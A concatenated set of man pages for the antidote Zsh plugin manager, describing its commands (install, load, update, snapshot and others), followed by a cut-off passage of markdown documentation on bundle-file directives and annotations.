Title: antidote-help .\" Author: [see the "AUTHOR(S)" section] .\" Generator: Asciidoctor 2.0.26 .\" Date: 2025-12-13 .\" Manual: Antidote Manual .\" Source: antidote .\" Language: English .\" .TH "ANTIDOTE\-HELP" "1" "2025-12-13" "antidote" "Antidote Manual" .ie \n(.g .ds Aq \(aq .el .ds Aq ' .ss \n[.ss] 0 .nh .ad l .de URL \fI\\$2\fP <\\$1>\\$3 .. .als MTO URL .if \n[.g] \{\ . mso www.tmac . am URL . ad l . . . am MTO . ad l . . . LINKSTYLE blue R < > .\} .SH "NAME" antidote-help \- show antidote documentation .SH "SYNOPSIS" .sp \fBantidote help\fP [] .SH "DESCRIPTION" .sp \fBantidote\-help\fP is used to show context\-sensitive help for antidote and its commands. .SH "OPTIONS" .sp \fB\-h, \-\-help\fP .RS 4 Inception\-style meta\-help recursively. .RE .sp \fB\fP .RS 4 Show help for a specific command. .RE .SH "BUGS" .sp See GitHub Issues: \c .URL "https://github.com/mattmc3/antidote/issues" "" "" .SH "AUTHORS" .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ . sp -1 . IP \(bu 2.3 .\} Copyright (c) 2021\-2026 Matt McElheny .RE .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ . sp -1 . IP \(bu 2.3 .\} antidote contributors: \c .URL "https://github.com/mattmc3/antidote/graphs/contributors" "" "" .RE .SH "LICENSE" .sp MITmattmc3-antidote-9bb69ab/man/man1/antidote-home.1000066400000000000000000000031001523541175400216160ustar00rootroot00000000000000'\" t .\" Title: antidote-home .\" Author: [see the "AUTHOR(S)" section] .\" Generator: Asciidoctor 2.0.26 .\" Date: 2025-12-13 .\" Manual: Antidote Manual .\" Source: antidote .\" Language: English .\" .TH "ANTIDOTE\-HOME" "1" "2025-12-13" "antidote" "Antidote Manual" .ie \n(.g .ds Aq \(aq .el .ds Aq ' .ss \n[.ss] 0 .nh .ad l .de URL \fI\\$2\fP <\\$1>\\$3 .. .als MTO URL .if \n[.g] \{\ . mso www.tmac . am URL . ad l . . . am MTO . ad l . . . LINKSTYLE blue R < > .\} .SH "NAME" antidote-home \- print where antidote is cloning bundles .SH "SYNOPSIS" .sp \fBantidote home\fP .SH "DESCRIPTION" .sp \fBantidote\-home\fP shows you where antidote stores its cloned repos. It is not the home of the antidote utility itself. .sp .if n .RS 4 .nf .fam C antidote home .fam .fi .if n .RE .sp You can override antidote\(cqs default home directory by setting the \f(CR$ANTIDOTE_HOME\fP variable in your \f(CR.zshrc\fP. .SH "OPTIONS" .sp \fB\-h, \-\-help\fP .RS 4 Show the help documentation. .RE .SH "EXAMPLES" .sp You can clear out all your cloned repos like so: .sp .if n .RS 4 .nf .fam C rm \-rfi "$(antidote home)" .fam .fi .if n .RE .SH "BUGS" .sp See GitHub Issues: \c .URL "https://github.com/mattmc3/antidote/issues" "" "" .SH "AUTHORS" .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ . sp -1 . IP \(bu 2.3 .\} Copyright (c) 2021\-2026 Matt McElheny .RE .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ . sp -1 . IP \(bu 2.3 .\} antidote contributors: \c .URL "https://github.com/mattmc3/antidote/graphs/contributors" "" "" .RE .SH "LICENSE" .sp MITmattmc3-antidote-9bb69ab/man/man1/antidote-init.1000066400000000000000000000035211523541175400216400ustar00rootroot00000000000000'\" t .\" Title: antidote-init .\" Author: [see the "AUTHOR(S)" section] .\" Generator: Asciidoctor 2.0.26 .\" Date: 2025-12-13 .\" Manual: Antidote Manual .\" Source: antidote .\" Language: English .\" .TH "ANTIDOTE\-INIT" "1" "2025-12-13" "antidote" "Antidote Manual" .ie \n(.g .ds Aq \(aq .el .ds Aq ' .ss \n[.ss] 0 .nh .ad l .de URL \fI\\$2\fP <\\$1>\\$3 .. .als MTO URL .if \n[.g] \{\ . mso www.tmac . am URL . ad l . . . am MTO . ad l . . . LINKSTYLE blue R < > .\} .SH "NAME" antidote-init \- initialize the shell for dynamic bundles .SH "SYNOPSIS" .sp \f(CRsource <(antidote init)\fP .SH "DESCRIPTION" .sp \fBantidote\-init\fP changes how the \fBantidote\fP command works by causing \fBantidote bundle\fP to automatically source its own output instead of just generating the Zsh script for a static file. .sp This behavior exists mainly to support legacy antigen/antibody usage. Static bundling is highly recommended for the best performance. However, dynamic bundling may be preferable for some scenarios, so you can rely on this functionality remaining a key feature in \fBantidote\fP to support users preferring dynamic bundles. .sp Typical usage involves adding this snippet to your \f(CR.zshrc\fP before using \f(CRantidote bundle\fP commands: .sp .if n .RS 4 .nf .fam C source <(antidote init) .fam .fi .if n .RE .SH "OPTIONS" .sp \fB\-h, \-\-help\fP .RS 4 Show the help documentation. .RE .SH "BUGS" .sp See GitHub Issues: \c .URL "https://github.com/mattmc3/antidote/issues" "" "" .SH "AUTHORS" .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ . sp -1 . IP \(bu 2.3 .\} Copyright (c) 2021\-2026 Matt McElheny .RE .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ . sp -1 . IP \(bu 2.3 .\} antidote contributors: \c .URL "https://github.com/mattmc3/antidote/graphs/contributors" "" "" .RE .SH "LICENSE" .sp MITmattmc3-antidote-9bb69ab/man/man1/antidote-install.1000066400000000000000000000054541523541175400223520ustar00rootroot00000000000000'\" t .\" Title: antidote-install .\" Author: [see the "AUTHOR(S)" section] .\" Generator: Asciidoctor 2.0.26 .\" Date: 2026-03-23 .\" Manual: Antidote Manual .\" Source: antidote .\" Language: English .\" .TH "ANTIDOTE\-INSTALL" "1" "2026-03-23" "antidote" "Antidote Manual" .ie \n(.g .ds Aq \(aq .el .ds Aq ' .ss \n[.ss] 0 .nh .ad l .de URL \fI\\$2\fP <\\$1>\\$3 .. .als MTO URL .if \n[.g] \{\ . mso www.tmac . am URL . ad l . . . am MTO . ad l . . . LINKSTYLE blue R < > .\} .SH "NAME" antidote-install \- install a bundle .SH "SYNOPSIS" .sp \fBantidote install\fP [\-h|\-\-help] [\-k|\-\-kind ] [\-p|\-\-path ] [\-a|\-\-autoload ] [\-c|\-\-conditional ] [\-\-pre ] [\-\-post ] [\-\-pin ] [\-b|\-\-branch ] [] .SH "DESCRIPTION" .sp \fBantidote\-install\fP clones a new bundle and adds it to your plugins file. .sp The default bundle file is \f(CR${ZDOTDIR:\-$HOME}/.zsh_plugins.txt\fP. This can be overridden with the following \f(CRzstyle\fP: .sp .if n .RS 4 .nf .fam C zstyle \*(Aq:antidote:bundle\*(Aq file /path/to/my/bundle_file.txt .fam .fi .if n .RE .SH "OPTIONS" .sp \fB\-h, \-\-help\fP .RS 4 Show the help documentation. .RE .sp \fB\-k, \-\-kind \fP .RS 4 The kind of bundle. Valid values: autoload, fpath, path, clone, defer, zsh. .RE .sp \fB\-p, \-\-path \fP .RS 4 A relative subpath within the bundle where the plugin is located. .RE .sp \fB\-b, \-\-branch \fP .RS 4 The git branch to use. .RE .sp \fB\-a, \-\-autoload \fP .RS 4 A relative subpath within the bundle where autoload function files are located. .RE .sp \fB\-c, \-\-conditional \fP .RS 4 A conditional function used to check whether to load the bundle. .RE .sp \fB\-\-pre \fP .RS 4 A function to be called prior to loading the bundle. .RE .sp \fB\-\-post \fP .RS 4 A function to be called after loading the bundle. .RE .sp \fB\-\-pin \fP .RS 4 Pin the bundle to a specific commit SHA. Pinned bundles are skipped during \f(CRantidote update\fP. .RE .sp \fB\fP .RS 4 Bundle to be installed. .RE .sp \fB[]\fP .RS 4 Bundle file to write to if not using the default. Defaults to \f(CR${ZDOTDIR:\-$HOME}/.zsh_plugins.txt\fP or the \f(CRzstyle\fP setting. .RE .SH "EXAMPLES" .sp .if n .RS 4 .nf .fam C antidote install zsh\-users/zsh\-history\-substring\-search .fam .fi .if n .RE .SH "BUGS" .sp See GitHub Issues: \c .URL "https://github.com/mattmc3/antidote/issues" "" "" .SH "AUTHORS" .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ . sp -1 . IP \(bu 2.3 .\} Copyright (c) 2021\-2026 Matt McElheny .RE .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ . sp -1 . IP \(bu 2.3 .\} antidote contributors: \c .URL "https://github.com/mattmc3/antidote/graphs/contributors" "" "" .RE .SH "LICENSE" .sp MITmattmc3-antidote-9bb69ab/man/man1/antidote-list.1000066400000000000000000000035131523541175400216510ustar00rootroot00000000000000'\" t .\" Title: antidote-list .\" Author: [see the "AUTHOR(S)" section] .\" Generator: Asciidoctor 2.0.26 .\" Date: 2026-03-25 .\" Manual: Antidote Manual .\" Source: antidote .\" Language: English .\" .TH "ANTIDOTE\-LIST" "1" "2026-03-25" "antidote" "Antidote Manual" .ie \n(.g .ds Aq \(aq .el .ds Aq ' .ss \n[.ss] 0 .nh .ad l .de URL \fI\\$2\fP <\\$1>\\$3 .. .als MTO URL .if \n[.g] \{\ . mso www.tmac . am URL . ad l . . . am MTO . ad l . . . LINKSTYLE blue R < > .\} .SH "NAME" antidote-list \- list cloned bundles .SH "SYNOPSIS" .sp \fBantidote list\fP [\-h|\-\-help] \fBantidote list\fP [\-l|\-\-long] [\-d|\-\-dirs] [\-u|\-\-url] [\-j|\-\-jsonl] .SH "DESCRIPTION" .sp \fBantidote\-list\fP lists the cloned bundles in \fBantidote home\fP. .sp By default, bundle path and URL pairs are shown one per line with path first. Use \fB\-\-long\fP for a verbose key\-value view of each bundle, \fB\-\-dirs\fP to show directory paths, \fB\-\-url\fP to show URLs only, or \fB\-\-jsonl\fP for machine\-readable output. .SH "OPTIONS" .sp \fB\-h, \-\-help\fP .RS 4 Show the help documentation. .RE .sp \fB\-l, \-\-long\fP .RS 4 Show detailed information for each bundle (repo, path, URL, SHA, pin status). .RE .sp \fB\-d, \-\-dirs\fP .RS 4 Show bundle directory paths. .RE .sp \fB\-u, \-\-url\fP .RS 4 Show bundle URLs only. .RE .sp \fB\-j, \-\-jsonl\fP .RS 4 Output the bundle list in JSONL format. .RE .SH "BUGS" .sp See GitHub Issues: \c .URL "https://github.com/mattmc3/antidote/issues" "" "" .SH "AUTHORS" .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ . sp -1 . IP \(bu 2.3 .\} Copyright (c) 2021\-2026 Matt McElheny .RE .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ . sp -1 . IP \(bu 2.3 .\} antidote contributors: \c .URL "https://github.com/mattmc3/antidote/graphs/contributors" "" "" .RE .SH "LICENSE" .sp MITmattmc3-antidote-9bb69ab/man/man1/antidote-load.1000066400000000000000000000040731523541175400216170ustar00rootroot00000000000000'\" t .\" Title: antidote-load .\" Author: [see the "AUTHOR(S)" section] .\" Generator: Asciidoctor 2.0.26 .\" Date: 2025-12-13 .\" Manual: Antidote Manual .\" Source: antidote .\" Language: English .\" .TH "ANTIDOTE\-LOAD" "1" "2025-12-13" "antidote" "Antidote Manual" .ie \n(.g .ds Aq \(aq .el .ds Aq ' .ss \n[.ss] 0 .nh .ad l .de URL \fI\\$2\fP <\\$1>\\$3 .. .als MTO URL .if \n[.g] \{\ . mso www.tmac . am URL . ad l . . . am MTO . ad l . . . LINKSTYLE blue R < > .\} .SH "NAME" antidote-load \- statically source bundles .SH "SYNOPSIS" .sp \fBantidote load\fP [ []] .SH "DESCRIPTION" .sp \fBantidote\-load\fP will turn the bundle file into a static load file and then source it. .sp The default bundle file is \f(CR${ZDOTDIR:\-$HOME}/.zsh_plugins.txt\fP. This can be overridden with the following \f(CRzstyle\fP: .sp .if n .RS 4 .nf .fam C zstyle \*(Aq:antidote:bundle\*(Aq file /path/to/my/bundle_file.txt .fam .fi .if n .RE .sp The default static file is \f(CR${ZDOTDIR:\-$HOME}/.zsh_plugins.zsh\fP. This can be overridden with the following \f(CRzstyle\fP: .sp .if n .RS 4 .nf .fam C zstyle \*(Aq:antidote:static\*(Aq file /path/to/my/static_file.zsh .fam .fi .if n .RE .SH "OPTIONS" .sp \fB\-h, \-\-help\fP .RS 4 Show the help documentation. .RE .sp \fB[]\fP .RS 4 The plugins file to source if not using the default. Defaults to \f(CR${ZDOTDIR:\-$HOME}/.zsh_plugins.txt\fP or the \f(CRzstyle\fP setting. .RE .sp \fB[]\fP .RS 4 The static plugins file to generate if not using the default. Defaults to \f(CR${ZDOTDIR:\-$HOME}/.zsh_plugins.zsh\fP or the \f(CRzstyle\fP setting. .RE .SH "BUGS" .sp See GitHub Issues: \c .URL "https://github.com/mattmc3/antidote/issues" "" "" .SH "AUTHORS" .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ . sp -1 . IP \(bu 2.3 .\} Copyright (c) 2021\-2026 Matt McElheny .RE .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ . sp -1 . IP \(bu 2.3 .\} antidote contributors: \c .URL "https://github.com/mattmc3/antidote/graphs/contributors" "" "" .RE .SH "LICENSE" .sp MITmattmc3-antidote-9bb69ab/man/man1/antidote-path.1000066400000000000000000000024041523541175400216300ustar00rootroot00000000000000'\" t .\" Title: antidote-path .\" Author: [see the "AUTHOR(S)" section] .\" Generator: Asciidoctor 2.0.26 .\" Date: 2025-12-13 .\" Manual: Antidote Manual .\" Source: antidote .\" Language: English .\" .TH "ANTIDOTE\-PATH" "1" "2025-12-13" "antidote" "Antidote Manual" .ie \n(.g .ds Aq \(aq .el .ds Aq ' .ss \n[.ss] 0 .nh .ad l .de URL \fI\\$2\fP <\\$1>\\$3 .. .als MTO URL .if \n[.g] \{\ . mso www.tmac . am URL . ad l . . . am MTO . ad l . . . LINKSTYLE blue R < > .\} .SH "NAME" antidote-path \- print the path of a cloned bundle .SH "SYNOPSIS" .sp \fBantidote path\fP .SH "DESCRIPTION" .sp \fBantidote\-path\fP prints the path of a cloned bundle. .SH "OPTIONS" .sp \fB\-h, \-\-help\fP .RS 4 Show the help documentation. .RE .sp \fB[]\fP .RS 4 The bundle whose cloned path will be printed. .RE .SH "BUGS" .sp See GitHub Issues: \c .URL "https://github.com/mattmc3/antidote/issues" "" "" .SH "AUTHORS" .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ . sp -1 . IP \(bu 2.3 .\} Copyright (c) 2021\-2026 Matt McElheny .RE .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ . sp -1 . IP \(bu 2.3 .\} antidote contributors: \c .URL "https://github.com/mattmc3/antidote/graphs/contributors" "" "" .RE .SH "LICENSE" .sp MITmattmc3-antidote-9bb69ab/man/man1/antidote-purge.1000066400000000000000000000026031523541175400220170ustar00rootroot00000000000000'\" t .\" Title: antidote-purge .\" Author: [see the "AUTHOR(S)" section] .\" Generator: Asciidoctor 2.0.26 .\" Date: 2025-12-13 .\" Manual: Antidote Manual .\" Source: antidote .\" Language: English .\" .TH "ANTIDOTE\-PURGE" "1" "2025-12-13" "antidote" "Antidote Manual" .ie \n(.g .ds Aq \(aq .el .ds Aq ' .ss \n[.ss] 0 .nh .ad l .de URL \fI\\$2\fP <\\$1>\\$3 .. .als MTO URL .if \n[.g] \{\ . mso www.tmac . am URL . ad l . . . am MTO . ad l . . . LINKSTYLE blue R < > .\} .SH "NAME" antidote-purge \- remove a bundle .SH "SYNOPSIS" .sp \fBantidote purge\fP .SH "DESCRIPTION" .sp \fBantidote\-purge\fP removes a cloned bundle. .SH "OPTIONS" .sp \fB\-h, \-\-help\fP .RS 4 Show the help documentation. .RE .sp \fB\-a, \-\-all\fP .RS 4 Purge all cloned bundles. .RE .sp \fB\fP .RS 4 Bundle to be purged. .RE .SH "EXAMPLES" .sp .if n .RS 4 .nf .fam C antidote purge zsh\-users/zsh\-history\-substring\-search .fam .fi .if n .RE .SH "BUGS" .sp See GitHub Issues: \c .URL "https://github.com/mattmc3/antidote/issues" "" "" .SH "AUTHORS" .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ . sp -1 . IP \(bu 2.3 .\} Copyright (c) 2021\-2026 Matt McElheny .RE .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ . sp -1 . IP \(bu 2.3 .\} antidote contributors: \c .URL "https://github.com/mattmc3/antidote/graphs/contributors" "" "" .RE .SH "LICENSE" .sp MITmattmc3-antidote-9bb69ab/man/man1/antidote-snapshot.1000066400000000000000000000110501523541175400225300ustar00rootroot00000000000000'\" t .\" Title: antidote-snapshot .\" Author: [see the "AUTHOR(S)" section] .\" Generator: Asciidoctor 2.0.26 .\" Date: 2026-07-21 .\" Manual: Antidote Manual .\" Source: antidote .\" Language: English .\" .TH "ANTIDOTE\-SNAPSHOT" "1" "2026-07-21" "antidote" "Antidote Manual" .ie \n(.g .ds Aq \(aq .el .ds Aq ' .ss \n[.ss] 0 .nh .ad l .de URL \fI\\$2\fP <\\$1>\\$3 .. .als MTO URL .if \n[.g] \{\ . mso www.tmac . am URL . ad l . . . am MTO . ad l . . . LINKSTYLE blue R < > .\} .SH "NAME" antidote-snapshot \- save, restore, remove, or list bundle snapshots .SH "SYNOPSIS" .sp \fBantidote snapshot\fP home .sp \fBantidote snapshot\fP list .sp \fBantidote snapshot\fP remove [.\|.\|.] .sp \fBantidote snapshot\fP restore [] .sp \fBantidote snapshot\fP save [] .SH "DESCRIPTION" .sp \fBantidote\-snapshot\fP manages point\-in\-time snapshots of your cloned bundles. A snapshot is a bundle file where every repository is annotated with \f(CRkind:clone pin:\fP, capturing the exact commit of each cloned bundle. .sp Snapshots are saved automatically after a successful \f(CRantidote update\fP in static mode. They are not created in dynamic mode. .sp By default, snapshots are stored in \f(CR$XDG_DATA_HOME/antidote/snapshots\fP (or \f(CR~/Library/Application Support/antidote/snapshots\fP on macOS). A rolling history is maintained, with older snapshots pruned beyond the configured maximum. .SH "SUBCOMMANDS" .sp \fBhome\fP .RS 4 Print the path to the snapshot directory. .RE .sp \fBlist\fP .RS 4 List all available snapshot files. .RE .sp \fBremove\fP .RS 4 Remove snapshot files. If no file is given and \f(CRfzf\fP is available, an interactive multi\-select picker is shown. .RE .sp \fBrestore\fP .RS 4 Restore bundles from a snapshot file. If no file is given and \f(CRfzf\fP is available, an interactive picker is shown; otherwise the command exits with an error. .RE .sp \fBsave\fP .RS 4 Save a snapshot of all currently cloned bundles. Optionally specify a file path; otherwise a timestamped file is created in the snapshot directory. .RE .SH "OPTIONS" .sp \fB\-h, \-\-help\fP .RS 4 Show the help documentation. .RE .SH "CONFIGURATION" .sp The snapshot directory can be customized: .sp .if n .RS 4 .nf .fam C zstyle \*(Aq:antidote:snapshot\*(Aq dir ~/.antidote\-snapshots .fam .fi .if n .RE .sp The maximum number of snapshots to keep (default 100): .sp .if n .RS 4 .nf .fam C zstyle \*(Aq:antidote:snapshot\*(Aq max 25 .fam .fi .if n .RE .sp The command used for interactive snapshot selection (default \f(CRfzf\fP). Set it to an empty value to disable picker\-based selection: .sp .if n .RS 4 .nf .fam C zstyle \*(Aq:antidote:fzf\*(Aq cmd fzf zstyle \*(Aq:antidote:fzf\*(Aq cmd \*(Aq\*(Aq .fam .fi .if n .RE .sp Set the \f(CRFZF_DEFAULT_OPTS\fP and \f(CRFZF_DEFAULT_OPTS_FILE\fP used for fzf in antidote: .sp .if n .RS 4 .nf .fam C zstyle \*(Aq:antidote:fzf\*(Aq opts "\-\-height=40% \-\-layout=reverse" zstyle \*(Aq:antidote:fzf\*(Aq opts_file ~/.config/antidote/fzf\-opts .fam .fi .if n .RE .sp If \f(CRbat\fP is installed, it is used for syntax\-highlighted fzf previews. If the Antidote Bundle syntax definition is also installed, it will be used; otherwise bat falls back to \f(CRproperties\fP syntax. Set bat options with the following zstyle: .sp .if n .RS 4 .nf .fam C zstyle \*(Aq:antidote:bat\*(Aq opts "\-\-style=plain" .fam .fi .if n .RE .sp Disable auto\-snapshots on \f(CRantidote update\fP (explicit \f(CRantidote snapshot save\fP still works): .sp .if n .RS 4 .nf .fam C zstyle \*(Aq:antidote:snapshot:automatic\*(Aq enabled no .fam .fi .if n .RE .SH "EXAMPLES" .sp Show where snapshots are stored: .sp .if n .RS 4 .nf .fam C antidote snapshot home .fam .fi .if n .RE .sp Save a snapshot: .sp .if n .RS 4 .nf .fam C antidote snapshot save .fam .fi .if n .RE .sp List snapshots: .sp .if n .RS 4 .nf .fam C antidote snapshot list .fam .fi .if n .RE .sp Select a snapshot interactively: .sp .if n .RS 4 .nf .fam C antidote snapshot restore .fam .fi .if n .RE .sp Restore from a specific snapshot: .sp .if n .RS 4 .nf .fam C antidote snapshot restore ~/.local/share/antidote/snapshots/snapshot\-20260101\-120000.txt .fam .fi .if n .RE .SH "BUGS" .sp See GitHub Issues: \c .URL "https://github.com/mattmc3/antidote/issues" "" "" .SH "AUTHORS" .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ . sp -1 . IP \(bu 2.3 .\} Copyright (c) 2021\-2026 Matt McElheny .RE .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ . sp -1 . IP \(bu 2.3 .\} antidote contributors: \c .URL "https://github.com/mattmc3/antidote/graphs/contributors" "" "" .RE .SH "LICENSE" .sp MITmattmc3-antidote-9bb69ab/man/man1/antidote-update.1000066400000000000000000000033301523541175400221550ustar00rootroot00000000000000'\" t .\" Title: antidote-update .\" Author: [see the "AUTHOR(S)" section] .\" Generator: Asciidoctor 2.0.26 .\" Date: 2026-07-21 .\" Manual: Antidote Manual .\" Source: antidote .\" Language: English .\" .TH "ANTIDOTE\-UPDATE" "1" "2026-07-21" "antidote" "Antidote Manual" .ie \n(.g .ds Aq \(aq .el .ds Aq ' .ss \n[.ss] 0 .nh .ad l .de URL \fI\\$2\fP <\\$1>\\$3 .. .als MTO URL .if \n[.g] \{\ . mso www.tmac . am URL . ad l . . . am MTO . ad l . . . LINKSTYLE blue R < > .\} .SH "NAME" antidote-update \- update bundles .SH "SYNOPSIS" .sp \fBantidote update\fP [\-h|\-\-help] [\-s|\-\-self] [\-b|\-\-bundles] [\-n|\-\-dry\-run] .SH "DESCRIPTION" .sp \fBantidote\-update\fP updates antidote and its cloned bundles. Bundles that have been pinned with the \f(CRpin:\fP annotation will be skipped. After a successful update in static mode, a snapshot is automatically saved to record the updated state (see \fBantidote\-snapshot\fP). .SH "OPTIONS" .sp \fB\-h, \-\-help\fP .RS 4 Show the help documentation. .RE .sp \fB\-s, \-\-self\fP .RS 4 Update antidote. .RE .sp \fB\-b, \-\-bundles\fP .RS 4 Update bundles. .RE .sp \fB\-n, \-\-dry\-run\fP .RS 4 Check for available updates without making any changes. .RE .SH "EXAMPLES" .sp .if n .RS 4 .nf .fam C antidote update .fam .fi .if n .RE .SH "BUGS" .sp See GitHub Issues: \c .URL "https://github.com/mattmc3/antidote/issues" "" "" .SH "AUTHORS" .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ . sp -1 . IP \(bu 2.3 .\} Copyright (c) 2021\-2026 Matt McElheny .RE .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ . sp -1 . IP \(bu 2.3 .\} antidote contributors: \c .URL "https://github.com/mattmc3/antidote/graphs/contributors" "" "" .RE .SH "LICENSE" .sp MITmattmc3-antidote-9bb69ab/man/man1/antidote.1000066400000000000000000000245401523541175400207030ustar00rootroot00000000000000'\" t .\" Title: antidote .\" Author: [see the "AUTHOR(S)" section] .\" Generator: Asciidoctor 2.0.26 .\" Date: 2026-07-28 .\" Manual: Antidote Manual .\" Source: antidote .\" Language: English .\" .TH "ANTIDOTE" "1" "2026-07-28" "antidote" "Antidote Manual" .ie \n(.g .ds Aq \(aq .el .ds Aq ' .ss \n[.ss] 0 .nh .ad l .de URL \fI\\$2\fP <\\$1>\\$3 .. .als MTO URL .if \n[.g] \{\ . mso www.tmac . am URL . ad l . . . am MTO . ad l . . . LINKSTYLE blue R < > .\} .SH "NAME" antidote \- the cure to slow zsh plugin management .SH "SYNOPSIS" .sp \fBantidote\fP [\-v | \-\-version] [\-h | \-\-help] [\-\-diagnostics] [ .\|.\|.] .SH "DESCRIPTION" .sp \fBantidote\fP is a Zsh plugin manager made from the ground up thinking about performance. .sp It is fast because it can do things concurrently, and generates an ultra\-fast static plugin file that you can easily load from your Zsh config. .sp It is written natively in Zsh, is well tested, and picks up where Antigen and Antibody left off. .SH "OPTIONS" .sp \fB\-h, \-\-help\fP .RS 4 Show context\-sensitive help for antidote. .RE .sp \fB\-v, \-\-version\fP .RS 4 Show currently installed antidote version. .RE .sp \fB\-\-diagnostics\fP .RS 4 Show antidote and system diagnostics. .RE .SH "COMMANDS" .sp \fBhelp\fP .RS 4 Show documentation .RE .sp \fBload\fP .RS 4 Statically source all bundles from the plugins file .RE .sp \fBbundle\fP .RS 4 Clone bundle(s) and generate the static load script .RE .sp \fBinstall\fP .RS 4 Clone a new bundle and add it to your plugins file .RE .sp \fBupdate\fP .RS 4 Update antidote and its cloned bundles .RE .sp \fBpurge\fP .RS 4 Remove a cloned bundle .RE .sp \fBhome\fP .RS 4 Print where antidote is cloning bundles .RE .sp \fBlist\fP .RS 4 List cloned bundles .RE .sp \fBpath\fP .RS 4 Print the path of a cloned bundle .RE .sp \fBsnapshot\fP .RS 4 Save, restore, or list bundle snapshots .RE .sp \fBinit\fP .RS 4 Initialize the shell for dynamic bundles .RE .SH "EXAMPLES" .SS "A Simple Config" .sp Create a \f(CR.zsh_plugins.txt\fP file with a list of the plugins you want: .sp .if n .RS 4 .nf .fam C # ${ZDOTDIR:\-$HOME}/.zsh_plugins.txt zsh\-users/zsh\-syntax\-highlighting zsh\-users/zsh\-history\-substring\-search zsh\-users/zsh\-autosuggestions .fam .fi .if n .RE .sp Now, simply load your newly created static plugins file in your \f(CR.zshrc\fP. .sp .if n .RS 4 .nf .fam C # ${ZDOTDIR:\-$HOME}/.zshrc source /path/to/antidote/antidote.zsh antidote load .fam .fi .if n .RE .SS "A More Advanced Config" .sp Your \f(CR.zsh_plugins.txt\fP file supports annotations. Annotations tell antidote how to do things like load plugins from alternate paths. This lets you use plugins from popular frameworks like Oh\-My\-Zsh: .sp .if n .RS 4 .nf .fam C # ${ZDOTDIR:\-$HOME}/.zsh_plugins.txt ohmyzsh/ohmyzsh path:lib ohmyzsh/ohmyzsh path:plugins/git ohmyzsh/ohmyzsh path:plugins/magic\-enter etc... .fam .fi .if n .RE .SS "Dynamic Bundling" .sp Users familiar with legacy plugin managers like Antigen might prefer to use dynamic bundling. With dynamic bundling you avoid having separate plugin files. To use dynamic bundling, we need to change how \fBantidote bundle\fP handles your plugins. We do this by sourcing the output from \fBantidote init\fP. .sp Each \fBantidote bundle\fP line caches its generated load script in a file under \fBantidote home\fP, so after the first run new shells load the cache instead of regenerating. Set \f(CRzstyle \*(Aq:antidote:dynamic\*(Aq zcompile \*(Aqyes\*(Aq\fP to zcompile those cache files. The cache refreshes automatically when antidote or your config changes, when \*(Aq:antidote:*\*(Aq zstyles change, or after \fBantidote purge\fP or \fBantidote update\fP. .sp An example config might look like this: .sp .if n .RS 4 .nf .fam C source /path/to/antidote/antidote.zsh source <(antidote init) antidote bundle zsh\-users/zsh\-autosuggestions antidote bundle ohmyzsh/ohmyzsh path:lib antidote bundle ohmyzsh/ohmyzsh path:plugins/git .fam .fi .if n .RE .sp Instead of calling \fBantidote bundle\fP over and over, you might prefer to load bundles with a HEREDOC. .sp .if n .RS 4 .nf .fam C source /path/to/antidote/antidote.zsh source <(antidote init) antidote bundle <` | Sets a context. Bare words on later lines become subplugins of ``, inheriting its annotations. A repo target also emits a `kind:clone` entry; a path target emits no entry. | | `preset:` | Records fallback annotations for every later entry of ``. Emits no entry and clones nothing. | One directive per line. Only one `using:` is active at a time, so a new one replaces the previous. Presets are keyed per bundle, so presets for different bundles coexist and only a preset for the same bundle replaces an earlier one. ## Annotations Annotations are `key:value` and are **not validated against the entry type**. The parser accepts any key on any line, and an annotation that means nothing for that entry is silently ignored - `foo/bar wibble:wobble` parses and loads normally. So the table below describes which annotations _have meaning_ where, not which ones are accepted. ### Which annotations apply to which entry | Annotation | `using:` | `preset:` | git bundle | local bundle | | ---------------- | :----------------------: | :----------------: | :----------------: | :----------------: | | `kind:` | default for words | :white_check_mark: | :white_check_mark: | :white_check_mark: | | `path:` | subpath prefix for words | :white_check_mark: | :white_check_mark: | :white_check_mark: | | `branch:` | inherited | :white_check_mark: | :white_check_mark: | - | | `pin:` | inherited | :white_check_mark: | :white_check_mark: | - | | `conditional:` | inherited | :white_check_mark: | :white_check_mark: | :white_check_mark: | | `pre:` / `post:` | inherited | :white_check_mark: | :white_check_mark: | :white_check_mark: | | `autoload:` | inherited | :white_check_mark: | :white_check_mark: | :white_check_mark: | | `fpath-rule:` | inherited | :white_check_mark: | :white_check_mark: | :white_check_mark: | - **git bundle** is type `repo`, `url`, or `ssh_url`. **local bundle** is `path`, `dir`, or `file`. - `branch:` and `pin:` only reach git, so they do nothing on a local bundle. - On `using:`, annotations serve two roles: `path:` and `kind:` configure how bare words are expanded, and everything else is inherited by those words. A word's own annotation overrides the inherited one. The `using:` entry itself is forced to `kind:clone` and has its own `path:` dropped. - A subplugin word takes the annotation set of its `using:` target's type. - Any annotation can be preset. A preset is the last place antidote looks, so the value order is line, then `using:`, then `preset:`. On a `preset:` line `path:` is an ordinary default path, not the bare-word prefix it becomes on a `using:` line. - Presets are keyed by the directory a bundle clones into, so every spelling of a repo shares one set, and they reach bare words under a `using:` for that repo. A path-style `using:` is the exception: its bare 